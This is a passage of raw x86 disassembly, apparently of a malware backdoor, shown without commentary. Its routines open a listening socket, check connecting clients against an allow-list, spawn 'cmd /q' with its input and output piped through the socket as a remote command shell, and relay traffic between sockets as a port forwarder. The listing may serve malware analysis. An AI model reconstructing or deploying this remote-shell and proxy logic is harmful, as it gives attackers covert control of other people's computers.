ebx loc_410D68: ; CODE XREF: sub_410BD4+19Fj push 32h call dword_428064 ; Sleep loc_410D70: ; CODE XREF: sub_410BD4+14Ej cmp [ebp+var_20], edi jz short loc_410D68 mov ebx, 1000h loc_410D7A: ; CODE XREF: sub_410BD4+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CDC7C ; recv cmp eax, edi jle short loc_410D37 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_410D7A jmp loc_410D37 sub_410BD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DBC proc near ; DATA XREF: sub_410BD4+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41C2F0 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410DF3: ; CODE XREF: sub_410DBC+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_440BA8[esi] call dword_4CDC7C ; recv test eax, eax jle short loc_410E3A push 0 push eax lea eax, [ebp+var_1128] push eax push dword_440BA4[esi] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_410DF3 loc_410E3A: ; CODE XREF: sub_410DBC+61j push dword_440BA8[esi] call dword_4CDCFC ; closesocket push [ebp+var_14] call sub_40B2A3 pop ecx push 0 call dword_4280CC ; ExitThread pop edi pop esi sub_410DBC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E59 proc near ; DATA XREF: sub_4110CE+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_3D4] inc ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_440BA4[eax] xor edi, edi mov [ebp+var_C], 1Eh mov [ebp+var_8], edi mov eax, [esi] mov [ebp+var_1F4], ebx mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CDC4C ; select test eax, eax jnz short loc_410EDD push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread loc_410EDD: ; CODE XREF: sub_410E59+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CDC7C ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_41105E lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_41105E lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_41105E add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CDBB8 ; getpeername test eax, eax jz short loc_410F56 call dword_4CDBF8 ; WSAGetLastError push eax push offset unk_436DF0 call sub_415819 push [ebp+arg_0] call sub_40B2A3 add esp, 0Ch push edi call dword_4280CC ; ExitThread loc_410F56: ; CODE XREF: sub_410E59+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CDC1C ; gethostbyaddr cmp eax, edi jnz short loc_410F80 push [ebp+var_18] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_41C056 jmp short loc_410F8E ; --------------------------------------------------------------------------- loc_410F80: ; CODE XREF: sub_410E59+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41C680 loc_410F8E: ; CODE XREF: sub_410E59+125j pop ecx pop ecx push edi push ebx push offset byte_43FE14 push dword ptr [esi] call dword_4CDCB4 ; send cmp dword_4D0AAC, edi jnz short loc_410FF0 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_41109F add esp, 10h test eax, eax jnz short loc_410FF0 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CDCB4 ; send push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread loc_410FF0: ; CODE XREF: sub_410E59+14Cj ; sub_410E59+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_436DB4 call sub_415819 push [ebp+arg_0] call sub_411355 add esp, 10h test eax, eax jnz short loc_411037 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436D88 call sub_415819 push [ebp+arg_0] call sub_40B2A3 add esp, 0Ch push ebx call dword_4280CC ; ExitThread loc_411037: ; CODE XREF: sub_410E59+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_436D5C call sub_415819 push [ebp+arg_0] call sub_40B2A3 add esp, 10h push edi call dword_4280CC ; ExitThread sub_410E59 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41105E proc near ; CODE XREF: sub_410E59+9Ap ; sub_410E59+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] loc_411065: ; CODE XREF: sub_41105E+2Aj push 0 lea eax, [ebp+arg_4+3] push 1 push eax push [ebp+arg_0] call dword_4CDC7C ; recv cmp eax, 1 jnz short loc_41109B mov al, byte ptr [ebp+arg_4+3] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_411090 test al, al jnz short loc_411065 xor eax, eax inc eax loc_41108D: ; CODE XREF: sub_41105E+3Fj pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_411090: ; CODE XREF: sub_41105E+26j push offset unk_436E1C call sub_415819 pop ecx loc_41109B: ; CODE XREF: sub_41105E+1Bj xor eax, eax jmp short loc_41108D sub_41105E endp ; =============== S U B R O U T I N E ======================================= sub_41109F proc near ; CODE XREF: sub_410E59+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4110CA push [esp+arg_4] push [esp+4+arg_0] push offset unk_436E48 call sub_415819 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_4110CA: ; CODE XREF: sub_41109F+11j xor eax, eax inc eax retn sub_41109F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110CE proc near ; DATA XREF: sub_401B66+22D7o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] rep movsd xor edi, edi inc edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CDBD4 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_411127 push eax push offset unk_436FBC call sub_415819 push [ebp+var_4C] call sub_40B2A3 add esp, 0Ch push edi call dword_4280CC ; ExitThread loc_411127: ; CODE XREF: sub_4110CE+3Aj push edi push offset loc_41134B call dword_428124 ; SetConsoleCtrlHandler test eax, eax jnz short loc_411160 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436F78 call sub_415819 pop ecx pop ecx call dword_4CDBBC ; WSACleanup push [ebp+var_4C] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread loc_411160: ; CODE XREF: sub_4110CE+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_4CDC64 ; ntohs push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CDCE4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4112D6 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_440BA4[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_4CDC90 ; bind test eax, eax jnz loc_4112D6 push 7FFFFFFFh push ebx call dword_4CDC8C ; listen test eax, eax jnz loc_4112D6 push offset unk_436F3C mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_4157A5 pop ecx mov [ebp+arg_0], edi loc_4111EF: ; CODE XREF: sub_4110CE+15Aj ; sub_4110CE+203j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CDCF8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4112D9 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_4111EF movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset unk_436EF8 push eax call sub_41C056 lea eax, [ebp+var_414] push eax call sub_4157A5 push edi lea eax, [ebp+var_414] push 9 push eax call sub_40AF8D mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_440B9C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_410E59 lea eax, [ebp+var_10] push esi push eax call dword_42807C ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_440BAC[ecx], eax jnz short loc_4112CC call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436EB8 call sub_415819 pop ecx pop ecx jmp short loc_4112D9 ; --------------------------------------------------------------------------- loc_4112C4: ; CODE XREF: sub_4110CE+201j push 32h call dword_428064 ; Sleep loc_4112CC: ; CODE XREF: sub_4110CE+1DFj cmp [ebp+var_38], esi jz short loc_4112C4 jmp loc_4111EF ; --------------------------------------------------------------------------- loc_4112D6: ; CODE XREF: sub_4110CE+C8j ; sub_4110CE+ECj ... mov edi, [ebp+arg_0] loc_4112D9: ; CODE XREF: sub_4110CE+13Cj ; sub_4110CE+1F4j call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset unk_436E80 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_411319 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_409982 add esp, 14h loc_411319: ; CODE XREF: sub_4110CE+229j lea eax, [ebp+var_414] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push ebx call dword_4CDCFC ; closesocket call dword_4CDBBC ; WSACleanup push [ebp+var_4C] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread pop ebx loc_41134B: ; DATA XREF: sub_4110CE+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_4110CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411355 proc near ; CODE XREF: sub_410E59+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4114AA imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_440BA4[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42807C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41167C lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4113C4 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437020 call sub_415819 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_4114A4 ; --------------------------------------------------------------------------- loc_4113C4: ; CODE XREF: sub_411355+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41171A lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411405 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437020 call sub_415819 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4280AC ; TerminateThread xor eax, eax jmp loc_4114A5 ; --------------------------------------------------------------------------- loc_411405: ; CODE XREF: sub_411355+86j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_428128 ; WaitForMultipleObjects sub eax, ebx jz short loc_41145F dec eax jz short loc_411459 dec eax jz short loc_411445 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436FE8 call sub_415819 pop ecx pop ecx jmp short loc_411474 ; --------------------------------------------------------------------------- loc_411445: ; CODE XREF: sub_411355+D9j mov edi, dword_4280AC push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_411474 ; --------------------------------------------------------------------------- loc_411459: ; CODE XREF: sub_411355+D6j push ebx push dword ptr [esi+10h] jmp short loc_411463 ; --------------------------------------------------------------------------- loc_41145F: ; CODE XREF: sub_411355+D3j push ebx push dword ptr [esi+14h] loc_411463: ; CODE XREF: sub_411355+108j call dword_4280AC ; TerminateThread push 1 push dword ptr [esi+8] call dword_4280F4 ; TerminateProcess loc_411474: ; CODE XREF: sub_411355+EEj ; sub_411355+102j push dword ptr [esi+10h] mov edi, dword_42806C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CDCFC ; closesocket push esi call sub_41B881 xor eax, eax inc eax loc_4114A4: ; CODE XREF: sub_411355+6Aj pop ecx loc_4114A5: ; CODE XREF: sub_411355+ABj pop edi pop esi pop ebx leave retn sub_411355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114AA proc near ; CODE XREF: sub_411355+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BCA5 mov esi, eax pop ecx cmp esi, edi jz loc_411594 mov ebx, dword_428100 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_42806C test eax, eax jnz short loc_41150D call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_4370D0 jmp short loc_41152D ; --------------------------------------------------------------------------- loc_41150D: ; CODE XREF: sub_4114AA+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_411535 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437090 loc_41152D: ; CODE XREF: sub_4114AA+61j call sub_415819 pop ecx jmp short loc_411563 ; --------------------------------------------------------------------------- loc_411535: ; CODE XREF: sub_4114AA+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4115A3 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411598 push offset unk_437068 call sub_4157A5 loc_411563: ; CODE XREF: sub_4114AA+89j cmp [ebp+var_4], 0 pop ecx jz short loc_41156F push [ebp+var_4] call edi ; CloseHandle loc_41156F: ; CODE XREF: sub_4114AA+BEj cmp [ebp+var_8], 0 jz short loc_41157A push [ebp+var_8] call edi ; CloseHandle loc_41157A: ; CODE XREF: sub_4114AA+C9j mov eax, [esi] test eax, eax jz short loc_411583 push eax call edi ; CloseHandle loc_411583: ; CODE XREF: sub_4114AA+D4j mov eax, [esi+4] test eax, eax jz short loc_41158D push eax call edi ; CloseHandle loc_41158D: ; CODE XREF: sub_4114AA+DEj push esi call sub_41B881 pop ecx loc_411594: ; CODE XREF: sub_4114AA+1Dj xor eax, eax jmp short loc_41159E ; --------------------------------------------------------------------------- loc_411598: ; CODE XREF: sub_4114AA+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41159E: ; CODE XREF: sub_4114AA+ECj pop edi pop esi pop ebx leave retn sub_4114AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4115A3 proc near ; CODE XREF: sub_4114AA+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BD60 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD60 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4280FC push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_4280F8 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_428070 ; CreateProcessA test eax, eax jz short loc_41165F mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_440BA0[eax], ecx call dword_42806C ; CloseHandle jmp short loc_411675 ; --------------------------------------------------------------------------- loc_41165F: ; CODE XREF: sub_4115A3+9Aj call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437110 call sub_415819 mov esi, [ebp+var_4] pop ecx pop ecx loc_411675: ; CODE XREF: sub_4115A3+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4115A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41167C proc near ; DATA XREF: sub_411355+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, dword_4280E8 push esi push edi mov edi, [ebp+arg_0] jmp short loc_4116DF ; --------------------------------------------------------------------------- loc_411693: ; CODE XREF: sub_41167C+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_4116C8 loc_41169E: ; CODE XREF: sub_41167C+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_4116B8 cmp dl, 0Dh jz short loc_4116B8 mov [ebp+eax+var_1B0], 0Dh inc eax loc_4116B8: ; CODE XREF: sub_41167C+2Cj ; sub_41167C+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_41169E loc_4116C8: ; CODE XREF: sub_41167C+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CDCB4 ; send test eax, eax jle short loc_4116F9 loc_4116DF: ; CODE XREF: sub_41167C+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_411693 loc_4116F9: ; CODE XREF: sub_41167C+61j mov esi, dword_42808C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411715 call esi ; RtlGetLastWin32Error push eax push offset unk_437150 call sub_415819 pop ecx pop ecx loc_411715: ; CODE XREF: sub_41167C+88j pop edi pop esi pop ebx leave retn sub_41167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41171A proc near ; DATA XREF: sub_411355+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_411813 ; --------------------------------------------------------------------------- loc_411735: ; CODE XREF: sub_41171A+10Ej cmp [ebp+var_10], ebx jbe short loc_411742 dec [ebp+var_10] jmp loc_411816 ; --------------------------------------------------------------------------- loc_411742: ; CODE XREF: sub_41171A+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4117FE cmp al, 8 mov [ebp+var_C], ebx jz short loc_4117B2 cmp al, 7Fh jz short loc_4117B2 cmp al, 3 jnz short loc_41176D push ebx push ebx call dword_42812C ; GenerateConsoleCtrlEvent jmp short loc_4117D9 ; --------------------------------------------------------------------------- loc_41176D: ; CODE XREF: sub_41171A+47j cmp al, 15h jnz short loc_41178F xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_4117C5 ; --------------------------------------------------------------------------- loc_41178F: ; CODE XREF: sub_41171A+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_4117C6 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_4117C5 ; --------------------------------------------------------------------------- loc_4117B2: ; CODE XREF: sub_41171A+3Fj ; sub_41171A+43j cmp esi, ebx jbe short loc_4117DC dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_4117C5: ; CODE XREF: sub_41171A+73j ; sub_41171A+96j pop ecx loc_4117C6: ; CODE XREF: sub_41171A+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CDCB4 ; send test eax, eax jle short loc_41182E loc_4117D9: ; CODE XREF: sub_41171A+51j mov al, byte ptr [ebp+arg_0+3] loc_4117DC: ; CODE XREF: sub_41171A+9Aj cmp al, 0Dh jnz short loc_411816 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4280E0 ; WriteFile test eax, eax jz short loc_41182E xor esi, esi jmp short loc_411816 ; --------------------------------------------------------------------------- loc_4117FE: ; CODE XREF: sub_41171A+34j cmp [ebp+var_C], ebx jnz short loc_41180C mov [ebp+var_C], 1 jmp short loc_411816 ; --------------------------------------------------------------------------- loc_41180C: ; CODE XREF: sub_41171A+E7j mov [ebp+var_10], 0Ah loc_411813: ; CODE XREF: sub_41171A+16j mov [ebp+var_C], ebx loc_411816: ; CODE XREF: sub_41171A+23j ; sub_41171A+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CDC7C ; recv test eax, eax jg loc_411735 loc_41182E: ; CODE XREF: sub_41171A+BDj ; sub_41171A+DEj pop edi pop esi pop ebx leave retn sub_41171A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411833 proc near ; DATA XREF: sub_401B66+2BC2o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp+var_14] push esi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_4CDC64 ; ntohs push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CDCE4 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_440BA4[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CDC90 ; bind test eax, eax jnz loc_4119D4 push 0Ah push edi call dword_4CDC8C ; listen test eax, eax jnz loc_4119D4 push [ebp+var_40] push [ebp+var_D4] call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_42CF78 push eax call sub_41C056 add esp, 10h cmp [ebp+var_30], esi jnz short loc_41190E push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409982 add esp, 14h loc_41190E: ; CODE XREF: sub_411833+B9j ; sub_411833+18Aj ... lea eax, [ebp+var_2D4] push eax call sub_4157A5 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CDCF8 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset dword_437200 push eax call sub_41C056 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40AF8D mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_440B9C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411A37 push esi push esi call dword_42807C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440BAC[ecx], eax jnz short loc_4119CA call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_4371C0 push eax call sub_41C056 add esp, 0Ch jmp loc_41190E ; --------------------------------------------------------------------------- loc_4119C2: ; CODE XREF: sub_411833+19Aj push 5 call dword_428064 ; Sleep loc_4119CA: ; CODE XREF: sub_411833+16Dj cmp [ebp+var_28], esi jz short loc_4119C2 jmp loc_41190E ; --------------------------------------------------------------------------- loc_4119D4: ; CODE XREF: sub_411833+7Bj ; sub_411833+8Cj push edi call dword_4CDCFC ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_43718C push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411A17 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409982 add esp, 14h loc_411A17: ; CODE XREF: sub_411833+1C2j lea eax, [ebp+var_2D4] push eax call sub_4157A5 push [ebp+var_3C] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi pop ebx sub_411833 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A37 proc near ; DATA XREF: sub_411833+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword 